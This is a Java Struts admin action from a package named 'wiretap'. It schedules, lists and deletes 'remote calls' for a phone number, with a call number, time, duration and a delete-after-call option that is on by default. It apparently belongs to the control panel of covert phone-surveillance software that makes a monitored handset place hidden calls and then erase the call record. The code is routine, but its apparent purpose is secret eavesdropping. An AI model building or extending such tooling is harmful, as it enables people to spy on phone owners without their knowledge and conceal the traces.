package com.wiretap.action.admin.manage;

import java.io.PrintWriter;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;

import com.wiretap.action.WiretapActionSupport;
import com.wiretap.po.RemoteCall;
import com.wiretap.service.RemoteCallService;
import com.wiretap.util.CommenUtil;
import com.wiretap.util.Constants;
import com.wiretap.util.Pager;

public class RemoteCallManageAction extends WiretapActionSupport {
	private static final long serialVersionUID = -6353884356865761086L;

	private RemoteCallService remoteCallService;
	private String phone;
	private Pager<RemoteCall> calls;
	private int cPage;
	// 呼叫后是否删除记录
	private int deleteAfterCall = 1;
	// 呼叫时长
	private int callDuration;
	// 呼叫时间
	private String callTime;
	// 呼叫号码
	private String callNumber;
	private String ids;
	@Override
	public String execute() throws Exception {
		cPage = cPage < 1 ? 1 : cPage;
		if (!CommenUtil.isEmpty(phone)) {
			calls = remoteCallService.getContactRemoteCall(phone, cPage, Constants.DEFAULT_PAGESIEZE);
		}
		return SUCCESS;
	}

	public void addRemoteCall() throws Exception {
		response.setContentType(CONTENT_TYPE);
		PrintWriter out = response.getWriter();
		try {
			Date callAfter = new Date();
			if (!CommenUtil.isEmpty(callTime)) {
				try {
					DateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm");
					callAfter = format.parse(callTime);
				} catch (Exception e) {
					e.printStackTrace();
				}
			}
			boolean deleteAfter = deleteAfterCall != 0;
			remoteCallService.addRemoteCall(phone, callNumber, deleteAfter, callAfter, callDuration);
			out.print("success");
		} catch (Exception e) {
			out.print("failed");
			e.printStackTrace();
		}
		out.flush();
		out.close();
	}

	public void deleteRemoteCalls() throws Exception{
		response.setContentType(CONTENT_TYPE);
		PrintWriter out = response.getWriter();
		if(remoteCallService.deleteRemoteCall(ids)){
			out.print("success");
		}else{
			out.print("failed");
		}
		out.flush();
		out.close();
	}
	
	public RemoteCallService getRemoteCallService() {
		return remoteCallService;
	}

	public void setRemoteCallService(RemoteCallService remoteCallService) {
		this.remoteCallService = remoteCallService;
	}

	public String getPhone() {
		return phone;
	}

	public void setPhone(String phone) {
		this.phone = phone;
	}

	public Pager<RemoteCall> getCalls() {
		return calls;
	}

	public void setCalls(Pager<RemoteCall> calls) {
		this.calls = calls;
	}

	public int getcPage() {
		return cPage;
	}

	public void setcPage(int cPage) {
		this.cPage = cPage;
	}

	public int getDeleteAfterCall() {
		return deleteAfterCall;
	}

	public void setDeleteAfterCall(int deleteAfterCall) {
		this.deleteAfterCall = deleteAfterCall;
	}

	public int getCallDuration() {
		return callDuration;
	}

	public void setCallDuration(int callDuration) {
		this.callDuration = callDuration;
	}

	public String getCallTime() {
		return callTime;
	}

	public void setCallTime(String callTime) {
		this.callTime = callTime;
	}

	public String getCallNumber() {
		return callNumber;
	}

	public void setCallNumber(String callNumber) {
		this.callNumber = callNumber;
	}

	public String getIds() {
		return ids;
	}

	public void setIds(String ids) {
		this.ids = ids;
	}

}
